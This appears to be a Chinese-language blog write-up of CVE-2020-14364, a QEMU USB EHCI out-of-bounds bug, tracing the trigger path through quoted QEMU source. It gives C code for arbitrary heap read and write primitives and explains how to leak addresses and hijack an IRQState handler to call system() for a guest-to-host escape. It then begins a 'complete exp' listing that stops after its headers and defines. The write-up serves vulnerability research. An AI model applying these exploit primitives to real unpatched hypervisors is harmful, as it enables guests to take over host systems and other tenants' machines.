CVE-2020-14364

CVE-2020-14364是qemu5.2.0版本前存在的漏洞,可以借助usb这个常见设备进行逃逸。

环境搭建和分析可以直接参考:https://xz.aliyun.com/t/8320

漏洞分析

do_token_setup函数中的s->setup_len > sizeof(s->data_buf)判断大小越界后,直接返回,但是s->setup_len中依然为一个越界的大小,并且在接下来的do_token_in和do_token_out函数中可以利用该值去进行越界读写,在此过程中没有任何对s->setup_len的判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;

if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}

usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
if (s->setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
………………
………………
}

static void do_token_in(USBDevice *s, USBPacket *p)
{
………………
………………
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
………………
………………
}

static void do_token_out(USBDevice *s, USBPacket *p)
{
………………
………………
case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
………………
………………
}

触发漏洞函数

使用elixir.bootlin这个网站可以很方便去寻找函数的交叉引用,一顿狂点鼠标最终找到的上层函数调用链如下:

do_token_setup—>usb_process_one —>usb_handle_packet —>ehci_execute—>ehci_state_execute —>ehci_advance_state —>ehci_advance_periodic_state —>ehci_work_bh

而最后的ehci_work_bh函数是由usb_ehci_realize函数所引用:

1
2
3
4
5
6
7
void usb_ehci_realize(EHCIState *s, DeviceState *dev, Error **errp)
{
……………………
s->frame_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, ehci_work_timer, s);
s->async_bh = qemu_bh_new(ehci_work_bh, s);
……………………
}

但是usb_ehci_realize函数是没有真正调用ehci_work_bh,这里只是将ehci_work_bh函数创建为底半部(bottom half),想到曾经复现过hfctf2022中的qemu题也是这种,qemu的bottom half与timers相似:timers是timer_mod触发、bottom half是qemu_bh_schedule触发,最后由另一个线程去执行。

最后进一步去找qemu_bh_schedule(s->async_bh)的调用,可以找到ehci_opreg_wrie函数。

ehci_opreg_wrie就是CTF题中常见的设备write函数,函数先通过addr这个值去访问opreg联合体相应的变量,通过mmio这个变量再去由val赋值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
 static void ehci_opreg_write(void *ptr, hwaddr addr,
uint64_t val, unsigned size)
{
EHCIState *s = ptr;
uint32_t *mmio = s->opreg + (addr >> 2);
uint32_t old = *mmio;
int i;

trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val);

switch (addr) {
case USBCMD:
…………………………
…………………………
if (((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & val) !=
((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & s->usbcmd)) {
if (s->pstate == EST_INACTIVE) {
SET_LAST_RUN_CLOCK(s);
}
s->usbcmd = val; /* Set usbcmd for ehci_update_halt() */
ehci_update_halt(s);
s->async_stepdown = 0;
qemu_bh_schedule(s->async_bh);
}
break;
case USBSTS:
val &= USBSTS_RO_MASK; // bits 6 through 31 are RO
ehci_clear_usbsts(s, val); // bits 0 through 5 are R/WC
val = s->usbsts;
ehci_update_irq(s);
break;
…………………………
…………………………
case FRINDEX:
val &= 0x00003fff; /* frindex is 14bits */
s->usbsts_frindex = val;
break;
…………………………
…………………………

*mmio = val;
trace_usb_ehci_opreg_change(addr + s->opregbase, addr2str(addr),
*mmio, old);
}
union {
uint32_t opreg[0x44/sizeof(uint32_t)];
struct {
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};

在ehci_work_bh中会对usbcmd这个值进行一些判断才会调用ehci_advance_periodic_state,原始的usbcmd = 0x10001无法满足判断,需要使用ehci_opreg_wrie函数对usbcmd重新赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
static void ehci_work_bh(void *opaque)
{
…………………………
…………………………
if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE) {
need_timer++;
…………………………
…………………………
for (i = 0; i < uframes; i++) {
/*
* If we're running behind schedule, we should not catch up
* too fast, as that will make some guests unhappy:
* 1) We must process a minimum of MIN_UFR_PER_TICK frames,
* otherwise we will never catch up
* 2) Process frames until the guest has requested an irq (IOC)
*/
if (i >= MIN_UFR_PER_TICK) {
ehci_commit_irq(ehci);
if ((ehci->usbsts & USBINTR_MASK) & ehci->usbintr) {
break;
}
}
if (ehci->periodic_sched_active) {
ehci->periodic_sched_active--;
}
ehci_update_frindex(ehci, 1);
if ((ehci->frindex & 7) == 0) {
ehci_advance_periodic_state(ehci);
}
ehci->last_run_ns += UFRAME_TIMER_NS;
}
}
…………………………
…………………………
}

static inline bool ehci_periodic_enabled(EHCIState *s)
{
return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE);
}

static inline bool ehci_enabled(EHCIState *s)
{
return s->usbcmd & USBCMD_RUNSTOP;
}

ehci_advance_periodic_state中没有什么参数是需要判断的,可以直接调用ehci_advance_state,但是entry这个值会影响接下来的函数。get_dwords函数将list物理地址中的值赋值给entry,list开始由ehci->periodiclistbase赋值,再和((ehci->frindex & 0x1ff8) >> 1) 与运算,ehci->periodiclistbase和ehci->frindex都是opreg联合体中的变量,使用ehci_opreg_wrie赋值即可。这里我本地 ehci->frindex这个值并不是固定的,这点和De4dCr0w师傅不太一样,需要事先对ehci->frindex赋值为0才能让list在与运算后+4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static void ehci_advance_periodic_state(EHCIState *ehci)
{
…………………………
…………………………
case EST_ACTIVE:
if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci)) {
ehci_queues_rip_all(ehci, async);
ehci_set_state(ehci, async, EST_INACTIVE);
break;
}

list = ehci->periodiclistbase & 0xfffff000;
/* check that register has been set */
if (list == 0) {
break;
}
list |= ((ehci->frindex & 0x1ff8) >> 1);
if (get_dwords(ehci, list, &entry, 1) < 0) {
break;
}

DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n",
ehci->frindex / 8, list, entry);
ehci_set_fetch_addr(ehci, async,entry); //将entry的值保存到ehci中
ehci_set_state(ehci, async, EST_FETCHENTRY); //将EST_FETCHENTRY这个状态保存到ehci中
ehci_advance_state(ehci, async);
…………………………
…………………………
}

接下来就是最绕的地方

进入ehci_advance_state后,通过ehci_get_state得到相应的状态值,去调用相应的处理函数,而这些处理函数中使用ehci_set_state可以设置新的状态值,相应的处理函数结束后,ehci_get_state得到新的状态值不断循环。

要想调用ehci_state_execute函数,要满足q != NULL,状态值是EST_EXECUTE。

上层的ehci_advance_periodic_state函数已经将状态值设置为EST_FETCHENTRY,开始会先进入ehci_state_fetchentry函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static void ehci_advance_state(EHCIState *ehci, int async)
{
EHCIQueue *q = NULL;
int itd_count = 0;
int again;

do {
switch(ehci_get_state(ehci, async)) {
case EST_FETCHENTRY:
again = ehci_state_fetchentry(ehci, async);
break;

case EST_FETCHQH:
q = ehci_state_fetchqh(ehci, async);
if (q != NULL) {
assert(q->async == async);
again = 1;
} else {
again = 0;
}
break;
………………
………………
case EST_FETCHQTD:
assert(q != NULL);
again = ehci_state_fetchqtd(q);
break;
………………
………………
case EST_EXECUTE:
assert(q != NULL);
again = ehci_state_execute(q);
if (async) {
ehci->async_stepdown = 0;
}
break;
}
}
while (again);
}

ehci_state_fetchentry中需要满足switch的值为NLPTR_TYPE_QH,设置新的状态值为EST_FETCHQH,在接下来的循环中就可以调用ehci_state_fetchqh函数为q赋值了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int ehci_state_fetchentry(EHCIState *ehci, int async)
{
int again = 0;
uint32_t entry = ehci_get_fetch_addr(ehci, async);//得到先前ehci_advance_periodic_state函数中保存的entry值
…………………………
…………………………
switch (NLPTR_TYPE_GET(entry)) {
case NLPTR_TYPE_QH:
ehci_set_state(ehci, async, EST_FETCHQH);//<----运行至此
again = 1;
break;
…………………………
…………………………
}
#define NLPTR_TYPE_QH 1 // queue head

#define NLPTR_TYPE_GET(x) (((x) >> 1) & 3)

在ehci_state_fetchqh函数中也会用到ehci_advance_periodic_state函数的entry值,并且作为get_dwords参数,也就是entry也必须是个物理地址,将里面的值保存到一个EHCIqh结构体中;设置entry这个物理地址中的值也为EHCIqh结构体,进而可以赋值给q->qh;该函数中设置的状态值没有EST_EXECUTE这个选项,但在另一个ehci_state_fetchqtd函数中可以设置,这里设置新的状态值为EST_FETCHQTD;然后需要通过判断的值为q->qh结构体中的变量,q->qh又是来自entry这个物理地址中的值,可以完全操纵,设置好entry中EHCIqh结构体的变量即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
static EHCIQueue *ehci_state_fetchqh(EHCIState *ehci, int async)
{
uint32_t entry;
EHCIQueue *q;
EHCIqh qh;
//得到先前ehci_advance_periodic_state函数中保存的entry值
entry = ehci_get_fetch_addr(ehci, async);
//开始这里调用ehci_find_queue_by_qh返回NULL
q = ehci_find_queue_by_qh(ehci, entry, async);
if (q == NULL) {
//ehci_alloc_queue的作用为:q->qhaddr = entry
q = ehci_alloc_queue(ehci, entry, async);
}
………………
………………
//get_dwords和之前一样,将q->qhaddr的物理地址中的值保存到qh中
if (get_dwords(ehci, NLPTR_GET(q->qhaddr),
(uint32_t *) &qh, sizeof(EHCIqh) >> 2) < 0) {
q = NULL;
goto out;
}
ehci_trace_qh(q, NLPTR_GET(q->qhaddr), &qh);

/*
* The overlay area of the qh should never be changed by the guest,
* except when idle, in which case the reset is a nop.
*/
if (!ehci_verify_qh(q, &qh)) {
if (ehci_reset_queue(q) > 0) {
ehci_trace_guest_bug(ehci, "guest updated active QH");
}
}
//更新qh
q->qh = qh;
………………
if (q->dev == NULL) {
//获取q->dev的值
q->dev = ehci_find_device(q->ehci,
get_field(q->qh.epchar, QH_EPCHAR_DEVADDR));
}
………………
………………
if (q->qh.token & QTD_TOKEN_HALT) {
ehci_set_state(ehci, async, EST_HORIZONTALQH);

} else if ((q->qh.token & QTD_TOKEN_ACTIVE) &&
(NLPTR_TBIT(q->qh.current_qtd) == 0) &&
(q->qh.current_qtd != 0)) {
q->qtdaddr = q->qh.current_qtd;
ehci_set_state(ehci, async, EST_FETCHQTD); //<----运行至此
………………
………………
}

ehci_state_fetchqtd函数使用q->qtdaddr这个物理地址,通过get_dwords来赋值给qtd,q->qtdaddr由上一步的q->qh.current_qtd赋值;和之前一样的套路,设置q->qh.current_qtd这个物理地址中的值为EHCIqtd结构体,最后的qtd中的值变成我们设置的,让qtd通过判断,设置新的状态值为EST_EXECUTE即可,之后就可以进入ehci_state_execute函数后并一路进入漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static int ehci_state_fetchqtd(EHCIQueue *q)
{
EHCIqtd qtd;
EHCIPacket *p;
int again = 1;
uint32_t addr;

addr = NLPTR_GET(q->qtdaddr);
if (get_dwords(q->ehci, addr + 8, &qtd.token, 1) < 0) {
return 0;
}
………………
………………

if (!(qtd.token & QTD_TOKEN_ACTIVE)) {
ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);
} else if (p != NULL) {
………………
………………

} else if (q->dev == NULL) {
ehci_trace_guest_bug(q->ehci, "no device attached to queue");
ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);
} else {
p = ehci_alloc_packet(q);
p->qtdaddr = q->qtdaddr;
p->qtd = qtd;
ehci_set_state(q->ehci, q->async, EST_EXECUTE);//<----运行至此
}

return again;
}

但是qtd中的值并不能完全满足判断,需要q->dev != NULL这个条件,q->dev这个值又是在先前的ehci_state_fetchqh函数中调用的ehci_find_device决定的(当时看得头都要裂开了);ehci_find_device函数中需要让ehci->portsc的值通过判断才能给dev赋值,ehci->portsc的值是由ehci_port_write函数设置的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static USBDevice *ehci_find_device(EHCIState *ehci, uint8_t addr)
{
USBDevice *dev;
USBPort *port;
int i;

for (i = 0; i < NB_PORTS; i++) {
port = &ehci->ports[i];
if (!(ehci->portsc[i] & PORTSC_PED)) {
DPRINTF("Port %d not enabled\n", i);
continue;
}
dev = usb_find_device(port, addr);
if (dev != NULL) {
return dev;
}
}
return NULL;
}

ehci_port_write函数和ehci_opreg_wrie函数一样都是直接可以读写PCI设备来触发的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static void ehci_port_write(void *ptr, hwaddr addr,
uint64_t val, unsigned size)
{
EHCIState *s = ptr;
int port = addr >> 2;
uint32_t *portsc = &s->portsc[port];
uint32_t old = *portsc;
USBDevice *dev = s->ports[port].dev;
………………
………………
if ((val & PORTSC_PRESET) && !(*portsc & PORTSC_PRESET)) {
trace_usb_ehci_port_reset(port, 1);
}

if (!(val & PORTSC_PRESET) &&(*portsc & PORTSC_PRESET)) {
trace_usb_ehci_port_reset(port, 0);
if (dev && dev->attached) {
usb_port_reset(&s->ports[port]);
*portsc &= ~PORTSC_CSC;
}

/*
* Table 2.16 Set the enable bit(and enable bit change) to indicate
* to SW that this port has a high speed device attached
*/
if (dev && dev->attached && (dev->speedmask & USB_SPEED_MASK_HIGH)) {
val |= PORTSC_PED;
}
}
………………
………………
}

初始化PCI设备的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
static const MemoryRegionOps ehci_mmio_opreg_ops = {
.read = ehci_opreg_read,
.write = ehci_opreg_write,
.valid.min_access_size = 4,
.valid.max_access_size = 4,
.endianness = DEVICE_LITTLE_ENDIAN,
};

static const MemoryRegionOps ehci_mmio_port_ops = {
.read = ehci_port_read,
.write = ehci_port_write,
.valid.min_access_size = 4,
.valid.max_access_size = 4,
.endianness = DEVICE_LITTLE_ENDIAN,
};


static void usb_ehci_pci_init(Object *obj)
{
DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);
EHCIPCIState *i = PCI_EHCI(obj);
EHCIState *s = &i->ehci;

s->caps[0x09] = 0x68; /* EECP */

s->capsbase = 0x00;
s->opregbase = 0x20;
s->portscbase = 0x44;
s->portnr = NB_PORTS;

if (!dc->hotpluggable) {
s->companion_enable = true;
}

usb_ehci_init(s, DEVICE(obj));
}

void usb_ehci_init(EHCIState *s, DeviceState *dev)
{
………………
………………

memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE);
memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,
"capabilities", CAPA_SIZE);
memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s,
"operational", s->portscbase);
memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,
"ports", 4 * s->portnr);

memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);
memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);
memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase,
&s->mem_ports);
}

memory_region_add_subregion函数将一个内存区域添加为另一个大的内存区域的子区域,第二个参数就是添加到另一个大的内存区域的偏移,也就是先使用memory_region_init_io初始化三个不同的IO内存区域,再由memory_region_add_subregion合并到另一个大的内存区域,访问这个大的内存区域不同的偏移地址时会触发不同的读写功能。

至此触发漏洞的调用链才算是分析完成了,并且明白了要设置哪些参数。

漏洞函数的参数设置

明白怎样去触发漏洞函数,接下来就是要对do_token_setup函数中相应参数的设置,这样才能去利用漏洞。

do_token_setup函数刚开始就是: if (p->iov.size != 8)usb_packet_copy(p, s->setup_buf, p->iov.size),跟p->iov关系比较大,s->setup_buf这个主要的结构体是通过p中的参数来赋值的,在usb_packet_copy函数中的拷贝操作就使用p->iov[0].iov_base中的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes)
{
QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;

assert(p->actual_length >= 0);
assert(p->actual_length + bytes <= iov->size);
switch (p->pid) {
case USB_TOKEN_SETUP:
case USB_TOKEN_OUT:
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
………………
………………
}

接下来就是找到p->iov结构体中变量的来源。

p->iov结构体中变量是ehci_execute函数中的ehci_init_transfer函数和usb_packet_map函数操作的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static int ehci_execute(EHCIPacket *p, const char *action)
{
………………
………………

if (p->async == EHCI_ASYNC_NONE) {
if (ehci_init_transfer(p) != 0) {
return -1;
}

spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0);
//usb_packet_setup是为p->pid、 p->id 、p->ep赋值
usb_packet_setup(&p->packet, p->pid, ep, 0, p->qtdaddr, spd,
(p->qtd.token & QTD_TOKEN_IOC) != 0);
usb_packet_map(&p->packet, &p->sgl);
p->async = EHCI_ASYNC_INITIALIZED;
}
………………
………………

}

ehci_init_transfer中的p->qtd 来自之前ehci_state_fetchqtd函数中的p->qtd = qtd,这里主要将qtd.token和qtd.bufptr中的值赋值给sgl结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static int ehci_init_transfer(EHCIPacket *p)
{
uint32_t cpage, offset, bytes, plen;
dma_addr_t page;

cpage = get_field(p->qtd.token, QTD_TOKEN_CPAGE);
//get_field 实际上就是(p->qtd.token >> QTD_TOKEN_TBYTES)的结果
bytes = get_field(p->qtd.token, QTD_TOKEN_TBYTES);
offset = p->qtd.bufptr[0] & ~QTD_BUFPTR_MASK;
qemu_sglist_init(&p->sgl, p->queue->ehci->device, 5, p->queue->ehci->as);

while (bytes > 0) {
if (cpage > 4) {
fprintf(stderr, "cpage out of range (%d)\n", cpage);
qemu_sglist_destroy(&p->sgl);
return -1;
}

page = p->qtd.bufptr[cpage] & QTD_BUFPTR_MASK;
page += offset;
plen = bytes;
if (plen > 4096 - offset) {
plen = 4096 - offset;
offset = 0;
cpage++;
}
// qemu_sglist_add函数的作用是为p->sgl结构体赋值,效果如下
// sgl->sg[sgl->nsg].base = page;
// sgl->sg[sgl->nsg].len = plen;
// sgl->size += len
qemu_sglist_add(&p->sgl, page, plen);
bytes -= plen;
}
return 0;
}

usb_packet_map函数主要利用sgl结构体来对p->iov赋值,dma_memory_map会对sgl->sg[i].base这个值操作操作,说明其是物理地址,也就是说赋值给 sgl->sg[i].base的qtd.bufptr也是物理地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int usb_packet_map(USBPacket *p, QEMUSGList *sgl)
{
DMADirection dir = (p->pid == USB_TOKEN_IN) ?
DMA_DIRECTION_FROM_DEVICE : DMA_DIRECTION_TO_DEVICE;
void *mem;
int i;

for (i = 0; i < sgl->nsg; i++) {
dma_addr_t base = sgl->sg[i].base;
dma_addr_t len = sgl->sg[i].len;

while (len) {
dma_addr_t xlen = len;
// dma_memory_map的作用是将虚拟机物理内存区域映射到qemu中的分配给虚拟机真实内存
mem = dma_memory_map(sgl->as, base, &xlen, dir);
if (!mem) {
goto err;
}
if (xlen > len) {
xlen = len;
}
// qemu_iovec_add的作用是为p->iov结构体赋值,效果如下
// p->iov[p->niov].iov_base = mem;
// p->iov[p->niov].iov_len = xlen;
// p->size += xlen;
qemu_iovec_add(&p->iov, mem, xlen);
len -= xlen;
base += xlen;
}
}
return 0;

err:
usb_packet_unmap(p, sgl);
return -1;
}

至此整明白p->iov的来源以后, 就可以顺利利用漏洞了。

识别本地的PCI设备

虽然这一步和漏洞利用并没有关系,但是还有要说明一下。

使用lspci,显示的Class、vendor_id和device_id后的16进制数可以判断PCI设备,参数的含义可以参考:https://elixir.bootlin.com/qemu/v4.2.1/source/include/hw/pci/pci_ids.h

虽然在CTF题中目标的PCI设备可以直接通过vendor_id和device_id识别,但是对真实的环境,很多设备的初始化异常复杂,如果本地的文件系统中的lspci功能不全,看到不到更多的PCI设备信息,这里使用qemu的monitor功能,进入monitor模式以后输入info pci,就可以很容易看到详细的PCI设备信息:

不过对应这里的usb设备,在初始化文件系统时就已经提供了相关信息:

漏洞利用

任意读写

相关函数代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
static void do_token_in(USBDevice *s, USBPacket *p)
{
………………
………………
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
………………
………………
}

static void do_token_out(USBDevice *s, USBPacket *p)
{
………………
………………
case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
………………
………………
}

直接无脑设置s->setup_len为0xffff去越界读内存完全可行,只不过有点费内存页,但是这样去越界写的话必然会影响到内存中其它的变量,导致出错。

这里的思路是参考De4dCr0w师傅的做法,做出了一点修改:

  1. set_length先设置一个正常大小的s->setup_len,如果直接设置s->setup_len为越界的大小,直接返回后的s->setup_state没有设置为SETUP_STATE_DATA,接下来的越界写也无法完成
  2. set_length再设置为0x1010
  3. 越界写,修改s->setup_index为((size_t)1 << 32) - 8 - 0x1010,完成越界写后有 s->setup_index += len,最后s->setup_index = ((size_t)1 << 32) - 8,由于s->setup_index为int类型,这里实际是-8,下一步越界写就是从&s->data_buf - 8开始,也就是从s->setup_buf开始写 ;修改s->setup_len为0x1018,让其下一步越界写也能覆盖s->setup_len和s->setup_index;同时也要修改s->setup_state为SETUP_STATE_DATA
  4. 继续越界写,修改中s->setup_buf[0]的值为USB_DIR_IN或者USB_DIR_OUT(本来就可以越界写,其实USB_DIR_OUT可以不用刻意设置),可以让接下来的do_token_in和do_token_out通过对s->setup_buf[0]的判断,顺利调用usb_packet_copy函数;修改s->setup_index为offset(目的偏移值) - 0x1020,s->setup_index += len后就是目标偏移;修改s->setup_len为(目的偏移值) + size(读写的大小);修改s->setup_state为SETUP_STATE_DATA
  5. 修改参数时注意:if (s->setup_index >= s->setup_len),如果满足这个判断,越界修改的s->setup_state就会失效
  6. 最后就可以顺利通过s->setup_index来任意读写堆内存了

任意读:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void arb_read(uint32_t offset, uint32_t size){
set_length(0x100, USB_DIR_IN);
memset(data_buf, 0, 0x1000);
memset(data_buf_oob, 0, 0x1000);
set_length(0x1010, USB_DIR_OUT);
*(uint32_t*)(data_buf_oob + 4) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 8) = 0x1018; //s->setup_len
*(uint32_t*)(data_buf_oob + 0xc) = ((size_t)1 << 32) - 8 - 0x1010; //s->setup_index
write_to_usb();

*(uint32_t*)(data_buf) = USB_DIR_IN; //为下一步的越界读设置参数
*(uint32_t*)(data_buf_oob + 0xc) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 0x10) = offset + size; //s->setup_len
*(uint32_t*)(data_buf_oob + 0x14) = offset - 0x1020; //s->setup_index
write_to_usb();
read_from_usb();
}

任意写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void arb_write(uint32_t offset, void *payload, uint32_t payload_size){
set_length(0x100, USB_DIR_IN);
memset(data_buf, 0, 0x1000);
memset(data_buf_oob, 0, 0x1000);
set_length(0x1010, USB_DIR_OUT);
*(uint32_t*)(data_buf_oob + 4) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 8) = 0x1018; //s->setup_len
*(uint32_t*)(data_buf_oob + 0xc) = ((size_t)1 << 32) - 8 - 0x1010; //s->setup_index
write_to_usb();

*(uint32_t*)(data_buf) = USB_DIR_OUT; //为下一步的越界写设置参数
*(uint32_t*)(data_buf_oob + 0xc) = SETUP_STATE_DATA; //s->setup_state
*(uint32_t*)(data_buf_oob + 0x10) = offset + payload_size; //s->setup_len
*(uint32_t*)(data_buf_oob + 0x14) = offset - 0x1020; //s->setup_index
write_to_usb();
memcpy(data_buf, payload, payload_size);
//getchar();
write_to_usb();
}

整体利用

在s->data_buf + 0x2004处就可以泄漏出堆地址和qemu地址

泄漏出地址后有如下两种方法去实现逃逸

修改IRQState结构体

具体调用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct IRQState {
Object parent_obj;

qemu_irq_handler handler;
void *opaque;
int n;
};

typedef struct IRQState *qemu_irq;

void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;

irq->handler(irq->opaque, irq->n, level);
}

static inline void ehci_update_irq(EHCIState *s)
{
int level = 0;

if ((s->usbsts & USBINTR_MASK) & s->usbintr) {
level = 1;
}

trace_usb_ehci_irq(level, s->frindex, s->usbsts, s->usbintr);
qemu_set_irq(s->irq, level);
}

EHCIState结构体中存在qemu_irq,ehci_opreg_write函数中switch的选项是USBSTS就可以调用ehci_update_irq(s);qemu_irq这个结构体也在堆上,找到qemu_irq这个结构体的地址后,通过任意写修改handler为system地址,修改opaque为cmd的地址。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <unistd.h>
#include <stdbool.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

void *mmio;
int fd;
void *buf;
uint8_t *setup_buf;
size_t *payload_buf;
void *data_buf;
void *data_buf_oob;
uint32_t *entry;

struct EHCIqh * qh;
struct EHCIqtd * qtd;

#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define SETUP_STATE_DATA 2
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8


typedef struct EHCIqh {
